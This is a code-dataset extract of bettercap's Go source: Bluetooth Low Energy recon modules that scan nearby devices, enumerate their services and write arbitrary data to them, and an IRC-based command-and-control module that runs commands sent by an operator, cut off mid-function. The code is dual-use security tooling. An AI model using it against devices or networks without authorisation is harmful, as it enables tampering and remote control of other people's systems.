language
stringlengths
0
24
filename
stringlengths
9
214
code
stringlengths
99
9.93M
Go
bettercap/modules/ble/ble_options_darwin.go
package ble import ( "github.com/bettercap/gatt" ) var defaultBLEClientOptions = []gatt.Option{ gatt.MacDeviceRole(gatt.CentralManager), } /* var defaultBLEServerOptions = []gatt.Option{ gatt.MacDeviceRole(gatt.PeripheralManager), } */
Go
bettercap/modules/ble/ble_options_linux.go
package ble import ( "github.com/bettercap/gatt" // "github.com/bettercap/gatt/linux/cmd" ) var defaultBLEClientOptions = []gatt.Option{ gatt.LnxMaxConnections(255), gatt.LnxDeviceID(-1, true), } /* var defaultBLEServerOptions = []gatt.Option{ gatt.LnxMaxConnections(255), gatt.LnxDeviceID(-1, true), gatt.LnxSetAdvertisingParameters(&cmd.LESetAdvertisingParameters{ AdvertisingIntervalMin: 0x00f4, AdvertisingIntervalMax: 0x00f4, AdvertisingChannelMap: 0x7, }), } */
Go
bettercap/modules/ble/ble_recon.go
// +build !windows package ble import ( "encoding/hex" "fmt" golog "log" "time" "github.com/bettercap/bettercap/modules/utils" "github.com/bettercap/bettercap/network" "github.com/bettercap/bettercap/session" "github.com/bettercap/gatt" "github.com/evilsocket/islazy/str" ) type BLERecon struct { session.SessionModule deviceId int gattDevice gatt.Device currDevice *network.BLEDevice writeUUID *gatt.UUID writeData []byte connected bool connTimeout int devTTL int quit chan bool done chan bool selector *utils.ViewSelector } func NewBLERecon(s *session.Session) *BLERecon { mod := &BLERecon{ SessionModule: session.NewSessionModule("ble.recon", s), deviceId: -1, gattDevice: nil, quit: make(chan bool), done: make(chan bool), connTimeout: 5, devTTL: 30, currDevice: nil, connected: false, } mod.InitState("scanning") mod.selector = utils.ViewSelectorFor(&mod.SessionModule, "ble.show", []string{"rssi", "mac", "seen"}, "rssi asc") mod.AddHandler(session.NewModuleHandler("ble.recon on", "", "Start Bluetooth Low Energy devices discovery.", func(args []string) error { return mod.Start() })) mod.AddHandler(session.NewModuleHandler("ble.recon off", "", "Stop Bluetooth Low Energy devices discovery.", func(args []string) error { return mod.Stop() })) mod.AddHandler(session.NewModuleHandler("ble.clear", "", "Clear all devices collected by the BLE discovery module.", func(args []string) error { mod.Session.BLE.Clear() return nil })) mod.AddHandler(session.NewModuleHandler("ble.show", "", "Show discovered Bluetooth Low Energy devices.", func(args []string) error { return mod.Show() })) enum := session.NewModuleHandler("ble.enum MAC", "ble.enum "+network.BLEMacValidator, "Enumerate services and characteristics for the given BLE device.", func(args []string) error { if mod.isEnumerating() { return fmt.Errorf("An enumeration for %s is already running, please wait.", mod.currDevice.Device.ID()) } mod.writeData = nil mod.writeUUID = nil return mod.enumAllTheThings(network.NormalizeMac(args[0])) }) enum.Complete("ble.enum", s.BLECompleter) mod.AddHandler(enum) write := session.NewModuleHandler("ble.write MAC UUID HEX_DATA", "ble.write "+network.BLEMacValidator+" ([a-fA-F0-9]+) ([a-fA-F0-9]+)", "Write the HEX_DATA buffer to the BLE device with the specified MAC address, to the characteristics with the given UUID.", func(args []string) error { mac := network.NormalizeMac(args[0]) uuid, err := gatt.ParseUUID(args[1]) if err != nil { return fmt.Errorf("Error parsing %s: %s", args[1], err) } data, err := hex.DecodeString(args[2]) if err != nil { return fmt.Errorf("Error parsing %s: %s", args[2], err) } return mod.writeBuffer(mac, uuid, data) }) write.Complete("ble.write", s.BLECompleter) mod.AddHandler(write) mod.AddParam(session.NewIntParameter("ble.device", fmt.Sprintf("%d", mod.deviceId), "Index of the HCI device to use, -1 to autodetect.")) mod.AddParam(session.NewIntParameter("ble.timeout", fmt.Sprintf("%d", mod.connTimeout), "Connection timeout in seconds.")) mod.AddParam(session.NewIntParameter("ble.ttl", fmt.Sprintf("%d", mod.devTTL), "Seconds of inactivity for a device to be pruned.")) return mod } func (mod BLERecon) Name() string { return "ble.recon" } func (mod BLERecon) Description() string { return "Bluetooth Low Energy devices discovery." } func (mod BLERecon) Author() string { return "Simone Margaritelli <[email protected]>" } func (mod *BLERecon) isEnumerating() bool { return mod.currDevice != nil } type dummyWriter struct { mod *BLERecon } func (w dummyWriter) Write(p []byte) (n int, err error) { w.mod.Debug("[gatt.log] %s", str.Trim(string(p))) return len(p), nil } func (mod *BLERecon) Configure() (err error) { if mod.Running() { return session.ErrAlreadyStarted(mod.Name()) } else if mod.gattDevice == nil { if err, mod.deviceId = mod.IntParam("ble.device"); err != nil { return err } mod.Debug("initializing device (id:%d) ...", mod.deviceId) golog.SetFlags(0) golog.SetOutput(dummyWriter{mod}) if mod.gattDevice, err = gatt.NewDevice(defaultBLEClientOptions...); err != nil { mod.Debug("error while creating new gatt device: %v", err) return err } mod.gattDevice.Handle( gatt.PeripheralDiscovered(mod.onPeriphDiscovered), gatt.PeripheralConnected(mod.onPeriphConnected), gatt.PeripheralDisconnected(mod.onPeriphDisconnected), ) mod.gattDevice.Init(mod.onStateChanged) } if err, mod.connTimeout = mod.IntParam("ble.timeout"); err != nil { return err } else if err, mod.devTTL = mod.IntParam("ble.ttl"); err != nil { return err } return nil } func (mod *BLERecon) Start() error { if err := mod.Configure(); err != nil { return err } return mod.SetRunning(true, func() { go mod.pruner() <-mod.quit if mod.gattDevice != nil { mod.Info("stopping scan ...") if mod.currDevice != nil && mod.currDevice.Device != nil { mod.Debug("resetting connection with %v", mod.currDevice.Device) mod.gattDevice.CancelConnection(mod.currDevice.Device) } mod.Debug("stopping device") if err := mod.gattDevice.Stop(); err != nil { mod.Warning("error while stopping device: %v", err) } else { mod.Debug("gatt device closed") } } mod.done <- true }) } func (mod *BLERecon) Stop() error { return mod.SetRunning(false, func() { mod.quit <- true <-mod.done mod.Debug("module stopped, cleaning state") mod.gattDevice = nil mod.setCurrentDevice(nil) mod.ResetState() }) } func (mod *BLERecon) pruner() { blePresentInterval := time.Duration(mod.devTTL) * time.Second mod.Debug("started devices pruner with ttl %s", blePresentInterval) for mod.Running() { for _, dev := range mod.Session.BLE.Devices() { if time.Since(dev.LastSeen) > blePresentInterval { mod.Session.BLE.Remove(dev.Device.ID()) } } time.Sleep(5 * time.Second) } } func (mod *BLERecon) setCurrentDevice(dev *network.BLEDevice) { mod.connected = false mod.currDevice = dev mod.State.Store("scanning", dev) } func (mod *BLERecon) writeBuffer(mac string, uuid gatt.UUID, data []byte) error { mod.writeUUID = &uuid mod.writeData = data return mod.enumAllTheThings(mac) } func (mod *BLERecon) enumAllTheThings(mac string) error { dev, found := mod.Session.BLE.Get(mac) if !found || dev == nil { return fmt.Errorf("BLE device with address %s not found.", mac) } else if mod.Running() { mod.gattDevice.StopScanning() } mod.setCurrentDevice(dev) if err := mod.Configure(); err != nil && err.Error() != session.ErrAlreadyStarted("ble.recon").Error() { return err } mod.Info("connecting to %s ...", mac) go func() { time.Sleep(time.Duration(mod.connTimeout) * time.Second) if mod.isEnumerating() && !mod.connected { mod.Warning("connection timeout") mod.Session.Events.Add("ble.connection.timeout", mod.currDevice) mod.onPeriphDisconnected(nil, nil) } }() mod.gattDevice.Connect(dev.Device) return nil }
Go
bettercap/modules/ble/ble_recon_events.go
// +build !windows package ble import ( "github.com/bettercap/gatt" ) func (mod *BLERecon) onStateChanged(dev gatt.Device, s gatt.State) { mod.Debug("state changed to %v", s) switch s { case gatt.StatePoweredOn: if mod.currDevice == nil { mod.Debug("starting discovery ...") dev.Scan([]gatt.UUID{}, true) } else { mod.Debug("current device was not cleaned: %v", mod.currDevice) } case gatt.StatePoweredOff: mod.Debug("resetting device instance") mod.gattDevice.StopScanning() mod.setCurrentDevice(nil) mod.gattDevice = nil default: mod.Warning("unexpected state: %v", s) } } func (mod *BLERecon) onPeriphDiscovered(p gatt.Peripheral, a *gatt.Advertisement, rssi int) { mod.Session.BLE.AddIfNew(p.ID(), p, a, rssi) } func (mod *BLERecon) onPeriphDisconnected(p gatt.Peripheral, err error) { mod.Session.Events.Add("ble.device.disconnected", mod.currDevice) mod.setCurrentDevice(nil) if mod.Running() { mod.Debug("device disconnected, restoring discovery.") mod.gattDevice.Scan([]gatt.UUID{}, true) } } func (mod *BLERecon) onPeriphConnected(p gatt.Peripheral, err error) { if err != nil { mod.Warning("connected to %s but with error: %s", p.ID(), err) return } else if mod.currDevice == nil { mod.Warning("connected to %s but after the timeout :(", p.ID()) return } mod.connected = true defer func(per gatt.Peripheral) { mod.Debug("disconnecting from %s ...", per.ID()) per.Device().CancelConnection(per) mod.setCurrentDevice(nil) }(p) mod.Session.Events.Add("ble.device.connected", mod.currDevice) if err := p.SetMTU(500); err != nil { mod.Warning("failed to set MTU: %s", err) } mod.Debug("connected, enumerating all the things for %s!", p.ID()) services, err := p.DiscoverServices(nil) // https://github.com/bettercap/bettercap/issues/498 if err != nil && err.Error() != "success" { mod.Error("error discovering services: %s", err) return } mod.showServices(p, services) }
Go
bettercap/modules/ble/ble_show.go
// +build !windows package ble import ( "sort" "time" "github.com/bettercap/bettercap/network" "github.com/evilsocket/islazy/ops" "github.com/evilsocket/islazy/tui" ) var ( bleAliveInterval = time.Duration(5) * time.Second ) func (mod *BLERecon) getRow(dev *network.BLEDevice, withName bool) []string { rssi := network.ColorRSSI(dev.RSSI) address := network.NormalizeMac(dev.Device.ID()) vendor := tui.Dim(ops.Ternary(dev.Vendor == "", dev.Advertisement.Company, dev.Vendor).(string)) isConnectable := ops.Ternary(dev.Advertisement.Connectable, tui.Green("✔"), tui.Red("✖")).(string) sinceSeen := time.Since(dev.LastSeen) lastSeen := dev.LastSeen.Format("15:04:05") blePresentInterval := time.Duration(mod.devTTL) * time.Second if sinceSeen <= bleAliveInterval { lastSeen = tui.Bold(lastSeen) } else if sinceSeen > blePresentInterval { lastSeen = tui.Dim(lastSeen) address = tui.Dim(address) } if withName { return []string{ rssi, address, tui.Yellow(dev.Name()), vendor, dev.Advertisement.Flags.String(), isConnectable, lastSeen, } } else { return []string{ rssi, address, vendor, dev.Advertisement.Flags.String(), isConnectable, lastSeen, } } } func (mod *BLERecon) doFilter(dev *network.BLEDevice) bool { if mod.selector.Expression == nil { return true } return mod.selector.Expression.MatchString(dev.Device.ID()) || mod.selector.Expression.MatchString(dev.Device.Name()) || mod.selector.Expression.MatchString(dev.Vendor) } func (mod *BLERecon) doSelection() (devices []*network.BLEDevice, err error) { if err = mod.selector.Update(); err != nil { return } devices = mod.Session.BLE.Devices() filtered := []*network.BLEDevice{} for _, dev := range devices { if mod.doFilter(dev) { filtered = append(filtered, dev) } } devices = filtered switch mod.selector.SortField { case "mac": sort.Sort(ByBLEMacSorter(devices)) case "seen": sort.Sort(ByBLESeenSorter(devices)) default: sort.Sort(ByBLERSSISorter(devices)) } // default is asc if mod.selector.Sort == "desc" { // from https://github.com/golang/go/wiki/SliceTricks for i := len(devices)/2 - 1; i >= 0; i-- { opp := len(devices) - 1 - i devices[i], devices[opp] = devices[opp], devices[i] } } if mod.selector.Limit > 0 { limit := mod.selector.Limit max := len(devices) if limit > max { limit = max } devices = devices[0:limit] } return } func (mod *BLERecon) colNames(withName bool) []string { colNames := []string{"RSSI", "MAC", "Vendor", "Flags", "Connect", "Seen"} seenIdx := 5 if withName { colNames = []string{"RSSI", "MAC", "Name", "Vendor", "Flags", "Connect", "Seen"} seenIdx = 6 } switch mod.selector.SortField { case "rssi": colNames[0] += " " + mod.selector.SortSymbol case "mac": colNames[1] += " " + mod.selector.SortSymbol case "seen": colNames[seenIdx] += " " + mod.selector.SortSymbol } return colNames } func (mod *BLERecon) Show() error { devices, err := mod.doSelection() if err != nil { return err } hasName := false for _, dev := range devices { if dev.Name() != "" { hasName = true break } } rows := make([][]string, 0) for _, dev := range devices { rows = append(rows, mod.getRow(dev, hasName)) } if len(rows) > 0 { tui.Table(mod.Session.Events.Stdout, mod.colNames(hasName), rows) mod.Session.Refresh() } return nil }
Go
bettercap/modules/ble/ble_show_services.go
// +build !windows package ble import ( "encoding/binary" "fmt" "strconv" "strings" "github.com/bettercap/bettercap/network" "github.com/bettercap/gatt" "github.com/evilsocket/islazy/tui" ) var appearances = map[uint16]string{ 0: "Unknown", 64: "Generic Phone", 128: "Generic Computer", 192: "Generic Watch", 193: "Watch: Sports Watch", 256: "Generic Clock", 320: "Generic Display", 384: "Generic Remote Control", 448: "Generic Eye-glasses", 512: "Generic Tag", 576: "Generic Keyring", 640: "Generic Media Player", 704: "Generic Barcode Scanner", 768: "Generic Thermometer", 769: "Thermometer: Ear", 832: "Generic Heart rate Sensor", 833: "Heart Rate Sensor: Heart Rate Belt", 896: "Generic Blood Pressure", 897: "Blood Pressure: Arm", 898: "Blood Pressure: Wrist", 960: "Human Interface Device (HID)", 961: "Keyboard", 962: "Mouse", 963: "Joystick", 964: "Gamepad", 965: "Digitizer Tablet", 966: "Card Reader", 967: "Digital Pen", 968: "Barcode Scanner", 1024: "Generic Glucose Meter", 1088: "Generic: Running Walking Sensor", 1089: "Running Walking Sensor: In-Shoe", 1090: "Running Walking Sensor: On-Shoe", 1091: "Running Walking Sensor: On-Hip", 1152: "Generic: Cycling", 1153: "Cycling: Cycling Computer", 1154: "Cycling: Speed Sensor", 1155: "Cycling: Cadence Sensor", 1156: "Cycling: Power Sensor", 1157: "Cycling: Speed and Cadence Sensor", 1216: "Generic Control Device", 1217: "Switch", 1218: "Multi-switch", 1219: "Button", 1220: "Slider", 1221: "Rotary", 1222: "Touch-panel", 1280: "Generic Network Device", 1281: "Access Point", 1344: "Generic Sensor", 1345: "Motion Sensor", 1346: "Air Quality Sensor", 1347: "Temperature Sensor", 1348: "Humidity Sensor", 1349: "Leak Sensor", 1350: "Smoke Sensor", 1351: "Occupancy Sensor", 1352: "Contact Sensor", 1353: "Carbon Monoxide Sensor", 1354: "Carbon Dioxide Sensor", 1355: "Ambient Light Sensor", 1356: "Energy Sensor", 1357: "Color Light Sensor", 1358: "Rain Sensor", 1359: "Fire Sensor", 1360: "Wind Sensor", 1361: "Proximity Sensor", 1362: "Multi-Sensor", 1408: "Generic Light Fixtures", 1409: "Wall Light", 1410: "Ceiling Light", 1411: "Floor Light", 1412: "Cabinet Light", 1413: "Desk Light", 1414: "Troffer Light", 1415: "Pendant Light", 1416: "In-ground Light", 1417: "Flood Light", 1418: "Underwater Light", 1419: "Bollard with Light", 1420: "Pathway Light", 1421: "Garden Light", 1422: "Pole-top Light", 1423: "Spotlight", 1424: "Linear Light", 1425: "Street Light", 1426: "Shelves Light", 1427: "High-bay / Low-bay Light", 1428: "Emergency Exit Light", 1472: "Generic Fan", 1473: "Ceiling Fan", 1474: "Axial Fan", 1475: "Exhaust Fan", 1476: "Pedestal Fan", 1477: "Desk Fan", 1478: "Wall Fan", 1536: "Generic HVAC", 1537: "Thermostat", 1600: "Generic Air Conditioning", 1664: "Generic Humidifier", 1728: "Generic Heating", 1729: "Radiator", 1730: "Boiler", 1731: "Heat Pump", 1732: "Infrared Heater", 1733: "Radiant Panel Heater", 1734: "Fan Heater", 1735: "Air Curtain", 1792: "Generic Access Control", 1793: "Access Door", 1794: "Garage Door", 1795: "Emergency Exit Door", 1796: "Access Lock", 1797: "Elevator", 1798: "Window", 1799: "Entrance Gate", 1856: "Generic Motorized Device", 1857: "Motorized Gate", 1858: "Awning", 1859: "Blinds or Shades", 1860: "Curtains", 1861: "Screen", 1920: "Generic Power Device", 1921: "Power Outlet", 1922: "Power Strip", 1923: "Plug", 1924: "Power Supply", 1925: "LED Driver", 1926: "Fluorescent Lamp Gear", 1927: "HID Lamp Gear", 1984: "Generic Light Source", 1985: "Incandescent Light Bulb", 1986: "LED Bulb", 1987: "HID Lamp", 1988: "Fluorescent Lamp", 1989: "LED Array", 1990: "Multi-Color LED Array", 3136: "Generic: Pulse Oximeter", 3137: "Fingertip", 3138: "Wrist Worn", 3200: "Generic: Weight Scale", 3264: "Generic", 3265: "Powered Wheelchair", 3266: "Mobility Scooter", 3328: "Generic", 5184: "Generic: Outdoor Sports Activity", 5185: "Location Display Device", 5186: "Location and Navigation Display Device", 5187: "Location Pod", 5188: "Location and Navigation Pod", } func parseProperties(ch *gatt.Characteristic) (props []string, isReadable bool, isWritable bool, withResponse bool) { isReadable = false isWritable = false withResponse = false props = make([]string, 0) mask := ch.Properties() if (mask & gatt.CharBroadcast) != 0 { props = append(props, "BCAST") } if (mask & gatt.CharRead) != 0 { isReadable = true props = append(props, "READ") } if (mask&gatt.CharWriteNR) != 0 || (mask&gatt.CharWrite) != 0 { props = append(props, tui.Bold("WRITE")) isWritable = true withResponse = (mask & gatt.CharWriteNR) == 0 } if (mask & gatt.CharNotify) != 0 { props = append(props, "NOTIFY") } if (mask & gatt.CharIndicate) != 0 { props = append(props, "INDICATE") } if (mask & gatt.CharSignedWrite) != 0 { props = append(props, tui.Yellow("SIGN WRITE")) isWritable = true withResponse = true } if (mask & gatt.CharExtended) != 0 { props = append(props, "X") } return } func parseRawData(raw []byte) string { s := "" for _, b := range raw { if strconv.IsPrint(rune(b)) { s += tui.Yellow(string(b)) } else { s += tui.Dim(fmt.Sprintf("%02x", b)) } } return s } // org.bluetooth.characteristic.gap.appearance func parseAppearance(raw []byte) string { app := binary.LittleEndian.Uint16(raw[0:2]) if appName, found := appearances[app]; found { return tui.Green(appName) } return fmt.Sprintf("0x%x", app) } // org.bluetooth.characteristic.pnp_id func parsePNPID(raw []byte) []string { vendorIdSrc := byte(raw[0]) vendorId := binary.LittleEndian.Uint16(raw[1:3]) prodId := binary.LittleEndian.Uint16(raw[3:5]) prodVer := binary.LittleEndian.Uint16(raw[5:7]) src := "" if vendorIdSrc == 1 { src = " (Bluetooth SIG assigned Company Identifier)" } else if vendorIdSrc == 2 { src = " (USB Implementer’s Forum assigned Vendor ID value)" } return []string{ tui.Green("Vendor ID") + fmt.Sprintf(": 0x%04x%s", vendorId, tui.Dim(src)), tui.Green("Product ID") + fmt.Sprintf(": 0x%04x", prodId), tui.Green("Product Version") + fmt.Sprintf(": 0x%04x", prodVer), } } // org.bluetooth.characteristic.gap.peripheral_preferred_connection_parameters func parseConnectionParams(raw []byte) []string { minConInt := binary.LittleEndian.Uint16(raw[0:2]) maxConInt := binary.LittleEndian.Uint16(raw[2:4]) slaveLat := binary.LittleEndian.Uint16(raw[4:6]) conTimeMul := binary.LittleEndian.Uint16(raw[6:8]) return []string{ tui.Green("Connection Interval") + fmt.Sprintf(": %d -> %d", minConInt, maxConInt), tui.Green("Slave Latency") + fmt.Sprintf(": %d", slaveLat), tui.Green("Connection Supervision Timeout Multiplier") + fmt.Sprintf(": %d", conTimeMul), } } // org.bluetooth.characteristic.gap.peripheral_privacy_flag func parsePrivacyFlag(raw []byte) string { if raw[0] == 0x0 { return tui.Green("Privacy Disabled") } return tui.Red("Privacy Enabled") } func (mod *BLERecon) showServices(p gatt.Peripheral, services []*gatt.Service) { columns := []string{"Handles", "Service > Characteristics", "Properties", "Data"} rows := make([][]string, 0) wantsToWrite := mod.writeUUID != nil foundToWrite := false mod.currDevice.Services = make([]network.BLEService, 0) for _, svc := range services { service := network.BLEService{ UUID: svc.UUID().String(), Name: svc.Name(), Handle: svc.Handle(), EndHandle: svc.EndHandle(), Characteristics: make([]network.BLECharacteristic, 0), } mod.Session.Events.Add("ble.device.service.discovered", svc) name := svc.Name() if name == "" { name = svc.UUID().String() } else { name = fmt.Sprintf("%s (%s)", tui.Green(name), tui.Dim(svc.UUID().String())) } row := []string{ fmt.Sprintf("%04x -> %04x", svc.Handle(), svc.EndHandle()), name, "", "", } rows = append(rows, row) chars, err := p.DiscoverCharacteristics(nil, svc) if err != nil { mod.Error("error while enumerating chars for service %s: %s", svc.UUID(), err) } else { for _, ch := range chars { props, isReadable, isWritable, withResponse := parseProperties(ch) char := network.BLECharacteristic{ UUID: ch.UUID().String(), Name: ch.Name(), Handle: ch.VHandle(), Properties: props, } mod.Session.Events.Add("ble.device.characteristic.discovered", ch) name = ch.Name() if name == "" { name = " " + ch.UUID().String() } else { name = fmt.Sprintf(" %s (%s)", tui.Green(name), tui.Dim(ch.UUID().String())) } if wantsToWrite && mod.writeUUID.Equal(ch.UUID()) { foundToWrite = true if isWritable { mod.Debug("writing %d bytes to characteristics %s ...", len(mod.writeData), mod.writeUUID) } else { mod.Warning("attempt to write %d bytes to non writable characteristics %s ...", len(mod.writeData), mod.writeUUID) } if err := p.WriteCharacteristic(ch, mod.writeData, !withResponse); err != nil { mod.Error("error while writing: %s", err) } } sz := 0 raw := ([]byte)(nil) err := error(nil) if isReadable { if raw, err = p.ReadCharacteristic(ch); raw != nil { sz = len(raw) } } data := "" multi := ([]string)(nil) if err != nil { data = tui.Red(err.Error()) } else if ch.Name() == "Appearance" && sz >= 2 { data = parseAppearance(raw) } else if ch.Name() == "PnP ID" && sz >= 7 { multi = parsePNPID(raw) } else if ch.Name() == "Peripheral Preferred Connection Parameters" && sz >= 8 { multi = parseConnectionParams(raw) } else if ch.Name() == "Peripheral Privacy Flag" && sz >= 1 { data = parsePrivacyFlag(raw) } else { data = parseRawData(raw) } if ch.Name() == "Device Name" && data != "" && mod.currDevice.DeviceName == "" { mod.currDevice.DeviceName = data } if multi == nil { char.Data = data rows = append(rows, []string{ fmt.Sprintf("%04x", ch.VHandle()), name, strings.Join(props, ", "), data, }) } else { char.Data = multi for i, m := range multi { if i == 0 { rows = append(rows, []string{ fmt.Sprintf("%04x", ch.VHandle()), name, strings.Join(props, ", "), m, }) } else { rows = append(rows, []string{"", "", "", m}) } } } service.Characteristics = append(service.Characteristics, char) } // blank row after every service, bleah style rows = append(rows, []string{"", "", "", ""}) } mod.currDevice.Services = append(mod.currDevice.Services, service) } if wantsToWrite && !foundToWrite { mod.Error("writable characteristics %s not found.", mod.writeUUID) } else { tui.Table(mod.Session.Events.Stdout, columns, rows) mod.Session.Refresh() } }
Go
bettercap/modules/ble/ble_show_sort.go
// +build !windows package ble import ( "github.com/bettercap/bettercap/network" ) type ByBLERSSISorter []*network.BLEDevice func (a ByBLERSSISorter) Len() int { return len(a) } func (a ByBLERSSISorter) Swap(i, j int) { a[i], a[j] = a[j], a[i] } func (a ByBLERSSISorter) Less(i, j int) bool { if a[i].RSSI == a[j].RSSI { return a[i].Device.ID() < a[j].Device.ID() } return a[i].RSSI > a[j].RSSI } type ByBLEMacSorter []*network.BLEDevice func (a ByBLEMacSorter) Len() int { return len(a) } func (a ByBLEMacSorter) Swap(i, j int) { a[i], a[j] = a[j], a[i] } func (a ByBLEMacSorter) Less(i, j int) bool { return a[i].Device.ID() < a[j].Device.ID() } type ByBLESeenSorter []*network.BLEDevice func (a ByBLESeenSorter) Len() int { return len(a) } func (a ByBLESeenSorter) Swap(i, j int) { a[i], a[j] = a[j], a[i] } func (a ByBLESeenSorter) Less(i, j int) bool { return a[i].LastSeen.Before(a[j].LastSeen) }
Go
bettercap/modules/ble/ble_unsupported.go
// +build windows package ble import ( "github.com/bettercap/bettercap/session" ) type BLERecon struct { session.SessionModule } func NewBLERecon(s *session.Session) *BLERecon { mod := &BLERecon{ SessionModule: session.NewSessionModule("ble.recon", s), } mod.AddHandler(session.NewModuleHandler("ble.recon on", "", "Start Bluetooth Low Energy devices discovery.", func(args []string) error { return session.ErrNotSupported })) mod.AddHandler(session.NewModuleHandler("ble.recon off", "", "Stop Bluetooth Low Energy devices discovery.", func(args []string) error { return session.ErrNotSupported })) return mod } func (mod BLERecon) Name() string { return "ble.recon" } func (mod BLERecon) Description() string { return "Bluetooth Low Energy devices discovery." } func (mod BLERecon) Author() string { return "Simone Margaritelli <[email protected]>" } func (mod *BLERecon) Configure() (err error) { return session.ErrNotSupported } func (mod *BLERecon) Start() error { return session.ErrNotSupported } func (mod *BLERecon) Stop() error { return session.ErrNotSupported }
Go
bettercap/modules/c2/c2.go
package c2 import ( "bytes" "crypto/tls" "fmt" "github.com/acarl005/stripansi" "github.com/bettercap/bettercap/modules/events_stream" "github.com/bettercap/bettercap/session" "github.com/evilsocket/islazy/log" "github.com/evilsocket/islazy/str" irc "github.com/thoj/go-ircevent" "strings" "text/template" ) type settings struct { server string tls bool tlsVerify bool nick string user string password string saslUser string saslPassword string operator string controlChannel string eventsChannel string outputChannel string } type C2 struct { session.SessionModule settings settings stream *events_stream.EventsStream templates map[string]*template.Template channels map[string]string client *irc.Connection eventBus session.EventBus quit chan bool } type eventContext struct { Session *session.Session Event session.Event } func NewC2(s *session.Session) *C2 { mod := &C2{ SessionModule: session.NewSessionModule("c2", s), stream: events_stream.NewEventsStream(s), templates: make(map[string]*template.Template), channels: make(map[string]string), quit: make(chan bool), settings: settings{ server: "localhost:6697", tls: true, tlsVerify: false, nick: "bettercap", user: "bettercap", password: "password", operator: "admin", eventsChannel: "#events", outputChannel: "#events", controlChannel: "#events", }, } mod.AddParam(session.NewStringParameter("c2.server", mod.settings.server, "", "IRC server address and port.")) mod.AddParam(session.NewBoolParameter("c2.server.tls", "true", "Enable TLS.")) mod.AddParam(session.NewBoolParameter("c2.server.tls.verify", "false", "Enable TLS certificate validation.")) mod.AddParam(session.NewStringParameter("c2.operator", mod.settings.operator, "", "IRC nickname of the user allowed to run commands.")) mod.AddParam(session.NewStringParameter("c2.nick", mod.settings.nick, "", "IRC nickname.")) mod.AddParam(session.NewStringParameter("c2.username", mod.settings.user, "", "IRC username.")) mod.AddParam(session.NewStringParameter("c2.password", mod.settings.password, "", "IRC server password.")) mod.AddParam(session.NewStringParameter("c2.sasl.username", mod.settings.saslUser, "", "IRC SASL username.")) mod.AddParam(session.NewStringParameter("c2.sasl.password", mod.settings.saslPassword, "", "IRC server SASL password.")) mod.AddParam(session.NewStringParameter("c2.channel.output", mod.settings.outputChannel, "", "IRC channel to send commands output to.")) mod.AddParam(session.NewStringParameter("c2.channel.events", mod.settings.eventsChannel, "", "IRC channel to send events to.")) mod.AddParam(session.NewStringParameter("c2.channel.control", mod.settings.controlChannel, "", "IRC channel to receive commands from.")) mod.AddHandler(session.NewModuleHandler("c2 on", "", "Start the C2 module.", func(args []string) error { return mod.Start() })) mod.AddHandler(session.NewModuleHandler("c2 off", "", "Stop the C2 module.", func(args []string) error { return mod.Stop() })) mod.AddHandler(session.NewModuleHandler("c2.channel.set EVENT_TYPE CHANNEL", "c2.channel.set ([^\\s]+) (.+)", "Set a specific channel to report events of this type.", func(args []string) error { eventType := args[0] channel := args[1] mod.Debug("setting channel for event %s: %v", eventType, channel) mod.channels[eventType] = channel return nil })) mod.AddHandler(session.NewModuleHandler("c2.channel.clear EVENT_TYPE", "c2.channel.clear ([^\\s]+)", "Clear the channel to use for a specific event type.", func(args []string) error { eventType := args[0] if _, found := mod.channels[args[0]]; found { delete(mod.channels, eventType) mod.Debug("cleared channel for %s", eventType) } else { return fmt.Errorf("channel for event %s not set", args[0]) } return nil })) mod.AddHandler(session.NewModuleHandler("c2.template.set EVENT_TYPE TEMPLATE", "c2.template.set ([^\\s]+) (.+)", "Set the reporting template to use for a specific event type.", func(args []string) error { eventType := args[0] eventTemplate := args[1] parsed, err := template.New(eventType).Parse(eventTemplate) if err != nil { return err } mod.Debug("setting template for event %s: %v", eventType, parsed) mod.templates[eventType] = parsed return nil })) mod.AddHandler(session.NewModuleHandler("c2.template.clear EVENT_TYPE", "c2.template.clear ([^\\s]+)", "Clear the reporting template to use for a specific event type.", func(args []string) error { eventType := args[0] if _, found := mod.templates[args[0]]; found { delete(mod.templates, eventType) mod.Debug("cleared template for %s", eventType) } else { return fmt.Errorf("template for event %s not set", args[0]) } return nil })) mod.Session.Events.OnPrint(mod.onPrint) return mod } func (mod *C2) Name() string { return "c2" } func (mod *C2) Description() string { return "A CnC module that connects to an IRC server for reporting and commands." } func (mod *C2) Author() string { return "Simone Margaritelli <[email protected]>" } func (mod *C2) Configure() (err error) { if mod.Running() { return session.ErrAlreadyStarted(mod.Name()) } if err, mod.settings.server = mod.StringParam("c2.server"); err != nil { return err } else if err, mod.settings.tls = mod.BoolParam("c2.server.tls"); err != nil { return err } else if err, mod.settings.tlsVerify = mod.BoolParam("c2.server.tls.verify"); err != nil { return err } else if err, mod.settings.nick = mod.StringParam("c2.nick"); err != nil { return err } else if err, mod.settings.user = mod.StringParam("c2.username"); err != nil { return err } else if err, mod.settings.password = mod.StringParam("c2.password"); err != nil { return err } else if err, mod.settings.saslUser = mod.StringParam("c2.sasl.username"); err != nil { return err } else if err, mod.settings.saslPassword = mod.StringParam("c2.sasl.password"); err != nil { return err } else if err, mod.settings.operator = mod.StringParam("c2.operator"); err != nil { return err } else if err, mod.settings.eventsChannel = mod.StringParam("c2.channel.events"); err != nil { return err } else if err, mod.settings.controlChannel = mod.StringParam("c2.channel.control"); err != nil { return err } else if err, mod.settings.outputChannel = mod.StringParam("c2.channel.output"); err != nil { return err } mod.eventBus = mod.Session.Events.Listen() mod.client = irc.IRC(mod.settings.nick, mod.settings.user) if log.Level == log.DEBUG { mod.client.VerboseCallbackHandler = true mod.client.Debug = true } mod.client.Password = mod.settings.password mod.client.UseTLS = mod.settings.tls mod.client.TLSConfig = &tls.Config{ InsecureSkipVerify: !mod.settings.tlsVerify, } if mod.settings.saslUser != "" || mod.settings.saslPassword != "" { mod.client.SASLLogin = mod.settings.saslUser mod.client.SASLPassword = mod.settings.saslPassword mod.client.UseSASL = true } mod.client.AddCallback("PRIVMSG", func(event *irc.Event) { channel := event.Arguments[0] message := event.Message() from := event.Nick if from != mod.settings.operator { mod.client.Privmsg(event.Nick, "nope") return } if channel != mod.settings.controlChannel && channel != mod.settings.nick { mod.Debug("from:%s on:%s - '%s'", from, channel, message) return } mod.Debug("from:%s on:%s - '%s'", from, channel, message) parts := strings.SplitN(message, " ", 2) cmd := parts[0] args := "" if len(parts) > 1 { args = parts[1] } if cmd == "join" { mod.client.Join(args) } else if cmd == "part" { mod.client.Part(args) } else if cmd == "nick" { mod.client.Nick(args) } else if err = mod.Session.Run(message); err == nil { } else { 